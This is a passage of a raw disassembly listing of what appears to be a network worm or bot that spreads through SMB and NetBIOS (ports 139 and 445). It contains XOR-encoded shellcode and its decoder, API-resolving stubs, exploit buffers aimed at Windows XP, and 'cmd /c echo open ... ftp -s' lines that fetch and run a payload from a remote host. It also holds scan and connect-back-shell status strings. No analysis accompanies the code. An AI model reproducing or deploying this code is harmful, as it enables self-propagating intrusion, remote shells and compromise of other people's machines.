; sub_401ACD+1DC9o ...
off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr
dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo
; ___:0040D495w ...
dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr
dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r
dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E206h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Eh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 4
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Eh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 4
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2D9h, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2D9h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2D9h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r
; sub_401ACD+1D23o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431616
; =============== S U B R O U T I N E =======================================
sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43160E: ; CODE XREF: sub_431606+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43160E
jmp short loc_43161B
; ---------------------------------------------------------------------------
loc_431616: ; CODE XREF: ___:00431604j
call sub_431606
loc_43161B: ; CODE XREF: sub_431606+Ej
jo short near ptr dword_4315A4+12h
cwde
cdq
cdq
retn
sub_431606 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
align 4
dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o
unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo
dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DA+14o
dd 7473694Ch, 3Ah
unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59B+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o
align 10h
dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao
dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o
dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o
dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o
dd 800000D4h, 0
unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_431EA4
push dword ptr [esi]
push 63D61209h
call sub_431EBA
mov [esi+8], eax
call sub_431E6D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_431EBA
mov [esi+0Ch], eax
call sub_431E1F
push dword ptr [esi+4]
push 4C0297FAh
call sub_431EBA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_431DA8 endp
; =============== S U B R O U T I N E =======================================
sub_431E1F proc near ; CODE XREF: sub_431DA8+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_431E48
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_431E1F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E48 proc near ; CODE XREF: sub_431E1F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_431E57: ; CODE XREF: sub_431E48+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_431E64
inc ebx
jmp short loc_431E57
; ---------------------------------------------------------------------------
loc_431E64: ; CODE XREF: sub_431E48+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_431E48 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_431E85: ; CODE XREF: sub_431E6D+1Ej
cmp [ecx], ebx
jz short loc_431E8D
mov ecx, [ecx]
jmp short loc_431E85
; ---------------------------------------------------------------------------
loc_431E8D: ; CODE XREF: sub_431E6D+1Aj
mov edx, edi
loc_431E8F: ; CODE XREF: sub_431E6D+2Aj
cmp [edx+4], ebx
jz short loc_431E99
mov edx, [edx+4]
jmp short loc_431E8F
; ---------------------------------------------------------------------------
loc_431E99: ; CODE XREF: sub_431E6D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_431E6D endp
; =============== S U B R O U T I N E =======================================
sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_431EA4 endp
; =============== S U B R O U T I N E =======================================
sub_431EBA proc near ; CODE XREF: sub_431DA8+16p
; sub_431DA8+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_431ED0: ; CODE XREF: sub_431EBA+33j
jecxz short loc_431F0A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_431EDD: ; CODE XREF: sub_431EBA+2Dj
lodsb
cmp al, ah
jz short loc_431EE9
ror edi, 0Dh
add edi, eax
jmp short loc_431EDD
; ---------------------------------------------------------------------------
loc_431EE9: ; CODE XREF: sub_431EBA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_431ED0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j
; sub_431EBA:loc_431F0Aj
jmp short loc_431F0A
sub_431EBA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431F10 proc near ; DATA XREF: ___:0040D309o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_431F62
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_431F2D: ; CODE XREF: sub_431F10+38j
jecxz short loc_431F5D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_431F38: ; CODE XREF: sub_431F10+32j
lodsb
test al, al
jz short loc_431F44
ror edx, 0Dh
add edx, eax
jmp short loc_431F38
; ---------------------------------------------------------------------------
loc_431F44: ; CODE XREF: sub_431F10+2Bj
cmp edx, [esp+arg_0]
jnz short loc_431F2D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj
mov [esp+arg_0], ebx
retn
sub_431F10 endp
; =============== S U B R O U T I N E =======================================
sub_431F62 proc near ; CODE XREF: sub_431F10+7p
; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_431F7B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_431F86
; ---------------------------------------------------------------------------
loc_431F7B: ; CODE XREF: sub_431F62+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_431F86: ; CODE XREF: sub_431F62+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_431F9A
sub_431F62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_431F8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431F62
loc_431F9A: ; CODE XREF: sub_431F62+29j
call sub_431F8D
loc_431F9F: ; DATA XREF: sub_40CADA+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_431F62
; ---------------------------------------------------------------------------
dw 0
dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo
dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo
dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o
align 4
loc_431FC4: ; DATA XREF: sub_40CADA+E8o
jmp short near ptr dword_431FCC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D330o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------
loc_432044: ; CODE XREF: ___:0043204Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_432044
inc edi
jz short loc_43208B
and eax, 952CE753h
inc esp
jle short loc_4320B3
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_43208B: ; CODE XREF: ___:00432051j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4320EA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4320B0: ; CODE XREF: ___:004320DDj
xor [esi-25h], bl
loc_4320B3: ; CODE XREF: ___:00432059j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4320CC: ; CODE XREF: ___:004320FFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4320B0
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4320EA: ; CODE XREF: ___:00432091j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_432176
jo short loc_4320CC
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_43210D+1
add bl, [edi]
loc_43210D: ; CODE XREF: ___:00432109j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_432122+2
cmp ch, bh
dec edx
loc_432122: ; CODE XREF: ___:0043211Dj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_432176: ; CODE XREF: ___:004320FDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4321FC
sub al, 0BCh
jmp near ptr 5445256Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o
dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r
dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r
dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r
byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r
; ___:0040DC5Fr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4321FC: ; CODE XREF: ___:00432180j
push eax
xor al, 29h
loc_4321FF: ; DATA XREF: ___:0040DBB9o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o
dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
align 4
aSIpc db '\\%s\ipc$',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE2+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
